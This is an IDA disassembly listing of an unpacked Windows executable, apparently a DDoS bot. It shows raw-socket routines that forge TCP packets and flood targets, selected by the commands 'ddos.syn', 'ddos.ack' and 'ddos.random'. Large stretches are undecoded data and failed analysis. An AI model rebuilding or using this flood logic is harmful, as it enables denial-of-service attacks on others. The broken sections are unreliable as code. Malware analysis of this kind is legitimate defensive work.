; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D4F96746B1FD46AC2BC63021E4BAA874 ; File Name : u:\work\d4f96746b1fd46ac2bc63021e4baa874_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00080000 ( 524288.) ; Section size in file : 00080000 ( 524288.) ; Offset to raw data for section: 00001000 ; Flags F0000040: Data Shareable Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: start+272j ; DATA XREF: .nsp0:0040D800o ... var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_41D048 ; GetTickCount push eax call sub_411F40 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_41F040 push eax call sub_411EEE xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40F9F1 add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_494] push eax call sub_408E17 push [ebp+var_290] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h test eax, 8B555E5Fh ; CODE XREF: sub_4013E9+40p sub_401000 endp ; sp-analysis failed in al, dx sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call dword_433A40 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: .nsp0:004010E9j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_433B6C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_4013DD push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call dword_433AA8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call dword_433AC8 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call dword_433AC8 ; ntohs push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call dword_433AC8 ; ntohs mov [ebp-12h], ax call sub_411F4A movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_433AC8 ; ntohs push 12345678h mov [ebp-14h], ax call dword_433AC4 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: .nsp0:004011B7j push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: .nsp0:004011D3j push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_411F4A push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_411F4A push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_401216: ; CODE XREF: .nsp0:004011C0j ; .nsp0:004011DCj ... push 4000h mov byte ptr [ebp-8], 50h call dword_433AC8 ; ntohs mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 0AB0000h cmpsb lea eax, [ebp-1Ch] push eax call near ptr 0AB0000h push ebp push dword ptr [ebp-44h] mov eax, [ebp+18h] cdq push dword ptr [ebp-48h] push edx push eax call sub_4123A0 add eax, [ebp-1Ch] push 14h pop esi adc edx, [ebp-18h] mov [ebp-3Ch], eax mov [ebp-38h], edx mov [ebp-4], bx call sub_411F4A cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_433AC8 ; ntohs mov [ebp-14h], ax call sub_411F4A mov edi, eax shl edi, 10h call sub_411F4A or edi, eax push edi call dword_433AC8 ; ntohs movzx eax, ax mov [ebp-10h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call dword_433AC4 ; ntohl mov [ebp-28h], eax mov eax, [ebp-24h] push esi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call dword_433AC8 ; ntohs mov [ebp-6Eh], ax mov eax, [ebp-28h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-94h] push eax call sub_411FD0 lea eax, [ebp-0B4h] push 34h push eax call sub_40809E mov [ebp-4], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-0A0h] push eax call sub_411FD0 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_411F70 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_40809E mov [ebp-2Ah], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 add esp, 14h lea eax, [ebp-58h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-20h] call dword_433B2C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+10h], eax lea eax, [ebp-1Ch] push eax call near ptr 0AB0000h or ecx, [ebx+453BE845h] enter 3C7Fh, 0Fh mov edx, cs ; --------------------------------------------------------------------------- db 0FEh dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: .nsp0:0040137Dj call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-0F4h] push offset unk_41F07C push eax call sub_411EEE lea eax, [ebp-0F4h] push eax call sub_408E17 add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- mov ebx, [ebp+10h] loc_4013D3: ; CODE XREF: .nsp0:0040112Aj ; .nsp0:004013CEj push dword ptr [ebp-20h] call dword_433B60 ; closesocket pop esi loc_4013DD: ; CODE XREF: .nsp0:0040110Dj call dword_433A28 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: .nsp0:004010EDj pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_407F2F push [esp+10h+arg_4] mov esi, eax call sub_41245F push [esp+14h+arg_C] mov ebx, eax call sub_41245F mov edi, eax call sub_411F4A cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call near ptr loc_4010AF+3 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; --------------------------------------------------------------------------- loc_401447: ; DATA XREF: .nsp0:0040D9E8o push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+8] push edi push 68h mov esi, eax pop ecx lea edi, [ebp-1BCh] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_433B48 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short near ptr loc_4014E1+1 call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-3BCh] push offset unk_41F21C push eax call sub_411EEE xor edi, edi add esp, 0Ch cmp [ebp-24h], edi jnz short loc_4014C5 push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_40F9F1 add esp, 14h loc_4014C5: ; CODE XREF: .nsp0:004014A3j lea eax, [ebp-3BCh] push eax call sub_408E17 push dword ptr [ebp-38h] call sub_411CB6 pop ecx pop ecx push edi call near ptr 0AB0000h loc_4014E1: ; CODE XREF: .nsp0:00401481j mov cl, 8Dh dec ebp hlt ; --------------------------------------------------------------------------- db 6Ah, 4, 51h dd 26AFF33h, 5D895057h, 0A815FFF4h, 8300433Ah, 5D75FFF8h dd 3A5C15FFh, 8D500043h, 0FFFC4485h, 0F1D068FFh, 0E8500041h dd 109DAh, 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh dd 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0E4B8E8h dd 14C48300h, 0FC44858Dh, 0E850FFFFh, 78CFh, 0E8C875FFh dd 10766h, 0E8575959h, 6AEAA8h, 48858DB2h, 50FFFFFEh, 3B0815FFh dd 0F8830043h, 8D5575FFh, 0FFFC4485h, 0F19C68FFh, 0E8500041h dd 10972h, 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0E451h dd 8D14C483h, 0FFFC4485h, 68E850FFh, 0FF000078h, 0FFE8C875h dd 59000106h, 41E85759h, 0D5006AEAh, 458D106Ah, 0E85057E4h dd 109A4h, 660CC483h, 2E445C7h, 15FF5700h, 433AC8h, 0E6458966h dd 0FE48858Dh, 0FF50FFFFh, 433B0815h, 48358B00h, 890041D0h dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh, 3E8B9D2h dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4322D8h dd 0C815FF45h, 3900433Ah, 0A366D47Dh, 4322DAh, 0DC1D8966h dd 66004322h, 22DE3D89h, 5C60043h, 4322E0h, 0E11D8880h dd 66004322h, 22E23D89h, 30740043h, 108F1E8h, 0C1D88B00h dd 0E7E808E3h, 3000108h, 8E3C1D8h, 108DDE8h, 0C1D80300h dd 0D3E808E3h, 3000108h, 89016AD8h, 4322E41Dh, 18EB5B00h dd 0FE44B5FFh, 0B6E8FFFFh, 59000069h, 815FF50h, 0A300433Bh dd 4322E4h, 0A3E8458Bh, 4322E8h, 108A1E8h, 0B99900h, 0F7000001h dd 0EC1588F9h, 0E8004322h, 1088Eh, 100B999h, 0F9F70000h dd 22ED1588h, 7BE80043h, 99000108h, 0F0B9h, 4006800h, 0F9F70000h dd 0EE3D8966h, 66004322h, 22F21D89h, 66420043h, 22F01589h dd 53E80043h, 99000108h, 0FFB9h, 52F9F700h, 4322F468h dd 866E800h, 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h dd 22D86800h, 75FF0043h, 2C15FFFCh, 8300433Bh, 874FFF8h dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 433B6015h, 5C15FF00h dd 5000433Ah, 0FE48858Dh, 75FFFFFFh, 38685008h, 8D0041F1h dd 0FFFC4485h, 20068FFh, 0E8500000h, 10D06h, 3918C483h dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h dd 0B5FF50FFh, 0FFFFFE44h, 0E268E8h, 14C48300h, 0FC44858Dh dd 0E850FFFFh, 767Fh, 0E8C875FFh, 10516h, 0E8575959h, 6AE858h dd 0FC75FFCDh, 3B6015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h dd 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh dd 0C8858D50h, 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041F0h dd 10705E8h, 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0E1E3E8FFh dd 0C4830000h, 44858D14h, 50FFFFFCh, 75FAE8h, 0C875FF00h dd 10491E8h, 57595900h, 6AE7D3E8h db 0, 0C2h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: .nsp0:0040D6F1o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_41F264 push eax call sub_411EEE xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40F9F1 add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_408E17 push [ebp+var_10] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h mov ds:8B555E5Fh, al ; CODE XREF: sub_401B7C+3Cp sub_40182E endp ; sp-analysis failed in al, dx sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call dword_433A40 ; WSAStartup test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: .nsp0:00401901j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_433B6C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-0Ch], eax jz loc_401B70 push esi lea ecx, [ebp-38h] push 4 push ecx push 2 push ebx push eax mov [ebp-38h], edi call dword_433AA8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp-50h] push ebx push eax call sub_411F70 add esp, 0Ch mov word ptr [ebp-50h], 2 push dword ptr [ebp+10h] call dword_433AC8 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-4Eh], ax mov [ebp-4Ch], esi mov byte ptr [ebp-20h], 45h call dword_433AC8 ; ntohs push dword ptr [ebp+10h] mov [ebp-1Eh], ax mov [ebp-1Ch], di mov [ebp-1Ah], bx mov byte ptr [ebp-18h], 80h mov byte ptr [ebp-17h], 6 mov [ebp-16h], bx mov [ebp-10h], esi call dword_433AC8 ; ntohs push 4000h mov [ebp-32h], ax mov [ebp-2Ch], ebx mov byte ptr [ebp-28h], 50h mov byte ptr [ebp-27h], 2 call dword_433AC8 ; ntohs mov [ebp-26h], ax lea eax, [ebp-40h] push eax mov [ebp-22h], bx mov [ebp+10h], ebx call near ptr 0AB0000h stosb lea eax, [ebp-8] push eax call near ptr 0AB0000h pop eax push dword ptr [ebp-3Ch] mov eax, [ebp+14h] cdq push dword ptr [ebp-40h] push edx push eax call sub_4123A0 add eax, [ebp-8] mov esi, edx adc esi, [ebp-4] mov [ebp-58h], eax loc_4019F5: ; CODE XREF: .nsp0:00401B27j ; .nsp0:00401B35j mov [ebp-24h], bx call sub_411F4A cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_433AC8 ; ntohs mov [ebp-34h], ax call sub_411F4A mov edi, eax shl edi, 10h call sub_411F4A or edi, eax push edi call dword_433AC8 ; ntohs movzx eax, ax mov [ebp-30h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call dword_433AC4 ; ntohl push 14h mov [ebp-14h], eax mov eax, [ebp-10h] pop edi push edi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call dword_433AC8 ; ntohs mov [ebp-6Eh], ax mov eax, [ebp-14h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 lea eax, [ebp-34h] push edi push eax lea eax, [ebp-94h] push eax call sub_411FD0 lea eax, [ebp-0B4h] push 34h push eax call sub_40809E mov [ebp-24h], ax lea eax, [ebp-20h] push edi push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 loc_401AAC: ; CODE XREF: .nsp0:00401B1Fj lea eax, [ebp-34h] push edi push eax lea eax, [ebp-0A0h] push eax call sub_411FD0 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_411F70 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_40809E mov [ebp-16h], ax lea eax, [ebp-20h] push edi push eax lea eax, [ebp-0B4h] push eax call sub_411FD0 add esp, 14h lea eax, [ebp-50h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-0Ch] call dword_433B2C ; sendto cmp eax, 0FFFFFFFFh jz short loc_401B3A add [ebp+10h], eax lea eax, [ebp-8] push eax call near ptr 0AB0000h jg short loc_401AAC inc ebp cld cmp eax, esi jg short loc_401B63 jl loc_4019F5 mov eax, [ebp-8] cmp eax, [ebp-58h] jnb short loc_401B63 jmp loc_4019F5 ; --------------------------------------------------------------------------- loc_401B3A: ; CODE XREF: .nsp0:00401B11j call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-0F4h] push offset dword_41F2A0 push eax call sub_411EEE lea eax, [ebp-0F4h] push eax call sub_408E17 add esp, 10h jmp short loc_401B66 ; --------------------------------------------------------------------------- loc_401B63: ; CODE XREF: .nsp0:00401B25j ; .nsp0:00401B33j mov ebx, [ebp+10h] loc_401B66: ; CODE XREF: .nsp0:00401942j ; .nsp0:00401B61j push dword ptr [ebp-0Ch] call dword_433B60 ; closesocket pop esi loc_401B70: ; CODE XREF: .nsp0:00401925j call dword_433A28 ; WSACleanup mov eax, ebx loc_401B78: ; CODE XREF: .nsp0:00401905j pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_407F2F push [esp+10h+arg_4] mov esi, eax call sub_41245F push [esp+14h+arg_8] mov ebx, eax call sub_41245F mov edi, eax call sub_411F4A cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call near ptr loc_4018C7+3 add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; --------------------------------------------------------------------------- loc_401BD6: ; DATA XREF: .nsp0:0040CB40o push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+8] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp-240h] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp-9Fh] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp-0A0h], bl rep stosd stosw stosb mov edi, dword_41D048 call edi ; dword_41D048 push eax call sub_411F40 pop ecx push 0FFh push 3 push 2 call dword_433B48 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_401C9F call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-440h] push offset dword_41F428 push eax call sub_411EEE add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401C7F push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40F9F1 add esp, 14h loc_401C7F: ; CODE XREF: .nsp0:00401C5Aj lea eax, [ebp-440h] push eax call sub_408E17 push dword ptr [ebp-0BCh] call sub_411CB6 pop ecx pop ecx push ebx call near ptr 0AB0000h std loc_401C9F: ; CODE XREF: .nsp0:00401C37j lea ecx, [ebp-34h] push 4 push ecx push 2 push ebx push eax mov [ebp-34h], esi ; CODE XREF: .nsp0:00401D1Cj call dword_433AA8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short near ptr loc_401D1C+1 call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-440h] push offset dword_41F3DC push eax call sub_411EEE add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401CFD push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40F9F1 add esp, 14h loc_401CFD: ; CODE XREF: .nsp0:00401CD8j lea eax, [ebp-440h] push eax call sub_408E17 push dword ptr [ebp-0BCh] call sub_411CB6 pop ecx pop ecx push ebx call near ptr 0AB0000h loc_401D1C: ; CODE XREF: .nsp0:00401CB5j jo short near ptr loc_401CA9+2 test eax, esp std ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h dd 3B0815FFh, 0F8830043h, 8D5E75FFh, 0FFFBC085h, 0F3A868FFh dd 0E8500041h, 101AEh, 0FF589D39h, 5959FFFFh, 8D532375h dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh dd 0FFFDC0B5h, 0DC87E8FFh, 0C4830000h, 0C0858D14h, 50FFFFFBh dd 709EE8h, 44B5FF00h, 0E8FFFFFFh, 0FF32h, 0E8535959h dd 6AE274h, 8D106AE1h, 5053BC45h, 101D7E8h, 0CC48300h dd 0BC45C766h, 0FF530002h, 433AC815h, 45896600h, 0C4858DBEh dd 50FFFFFDh, 3B0815FFh, 45890043h, 85D89C0h, 4589D7FFh dd 2BD7FFD0h, 0D233D045h, 3E8B9h, 3BF1F700h, 0FFFF4C85h dd 0AA870FFFh, 6A000002h, 0D445C628h, 0C815FF45h, 3900433Ah dd 0FFFF509Dh, 458966FFh, 758966D6h, 5D8966D8h, 0DC45C6DAh dd 0DD45C680h, 5D896606h, 0E82D74DEh, 1013Ah, 0E6C1F08Bh dd 130E808h, 0F0030001h, 0E808E6C1h, 10126h, 0E6C1F003h dd 11CE808h, 0F0030001h, 7589016Ah, 16EB5EE0h, 0FDC0B5FFh dd 2E8FFFFh, 59000062h, 815FF50h, 8900433Bh, 458BE045h dd 489D39C0h, 89FFFFFFh, 1075E445h, 100E9E8h, 1B99900h dd 0F7000004h, 6EB52F9h, 0FF48B5FFh, 15FFFFFFh, 433AC8h dd 0EA458966h, 100C9E8h, 1B99900h, 0F7000004h, 15FF52F9h dd 433AC8h, 34567868h, 45896612h, 0C415FFE8h, 8900433Ah dd 858DEC45h, 0FFFFFE44h, 41F3A468h, 0DE85000h, 59000106h dd 7459C085h, 0F05D8909h, 2F545C6h, 858D5CEBh, 0FFFFFE44h dd 41F3A068h, 0EDE85000h, 59000105h, 7459C085h, 0F05D8909h dd 10F545C6h, 858D3CEBh, 0FFFFFE44h, 41F39868h, 0CDE85000h dd 59000105h, 7459C085h, 4CE825h, 36A0001h, 0F9F75999h dd 0E8F05589h, 1003Eh, 5999026Ah, 0DAF7F9F7h, 0E280D21Ah dd 88D1020Eh, 68F555h, 0C6000002h, 0FF50F445h, 433AC815h dd 45896600h, 0E0458BF6h, 8B9C4589h, 146AE445h, 0FA5D8966h dd 0F85D8966h, 88A04589h, 45C6A45Dh, 15FF06A5h, 433AC8h dd 0A6458966h, 6A9C458Dh, 858D5020h, 0FFFFFF60h, 66E850h dd 458D0001h, 50146AE8h, 5080458Dh, 10057E8h, 60858D00h dd 6AFFFFFFh, 17E85034h, 66000061h, 8DF84589h, 146AD445h dd 60858D50h, 50FFFFFFh, 10033E8h, 0E8458D00h, 8D50146Ah dd 0FFFF7485h, 21E850FFh, 6A000100h, 88458D04h, 0B5E85053h dd 830000FFh, 858D44C4h, 0FFFFFF60h, 0E850286Ah, 60D2h dd 0DE458966h, 6AD4458Dh, 858D5014h, 0FFFFFF60h, 0FFEEE850h dd 0C4830000h, 0BC458D14h, 5350106Ah, 0FF60858Dh, 3C6AFFFFh dd 0FC75FF50h, 3B2C15FFh, 0F8830043h, 0FF0874FFh, 0BAE90845h dd 0FFFFFFFDh, 15FFFC75h, 433B60h, 3A5C15FFh, 8D500043h dd 0FFFDC485h, 875FFFFh, 0F3346850h, 858D0041h, 0FFFFFBC0h dd 20068h, 2FE85000h, 83000104h, 9D3918C4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 0D98BE8FFh, 0C4830000h, 0C0858D14h dd 50FFFFFBh, 6DA2E8h, 44B5FF00h, 0E8FFFFFFh, 0FC36h, 0E8535959h dd 6ADF78h, 0FC75FFFAh, 3B6015FFh, 458B0043h, 6BD23308h dd 0C88B3CC0h, 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h dd 0FFFFFDC4h, 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h dd 0F2D068FFh, 0E8500041h, 0FE22h, 391CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 0FAE8FFFFh, 830000D8h, 858D14C4h dd 0FFFFFBC0h, 6D11E850h, 0B5FF0000h, 0FFFFFF44h, 0FBA5E8h dd 53595900h, 6ADEE7E8h db 0, 6Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40211A proc near ; CODE XREF: sub_4021FB+B4p ; sub_4021FB+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp loc_40211D: ; DATA XREF: .nsp0:off_428D84o sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_41D058 ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call near ptr 0AB0000h inc ecx lea eax, [ebp+var_114] push offset asc_41FC20 ; "\\" push eax call sub_412610 lea eax, [ebp+var_114] push offset dword_425BCC push eax call sub_412610 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4125E8 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 push 1 pop eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: sub_40211A+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_412596 push esi call sub_412540 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4021F6 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_41FBDC push 200h push eax call sub_41246A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40F9F1 add esp, 24h loc_4021F6: ; CODE XREF: sub_40211A+A3j xor eax, eax loc_4021F8: ; CODE XREF: sub_40211A+65j pop esi leave retn sub_40211A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021FB proc near ; DATA XREF: .nsp0:0040BD9Co var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx 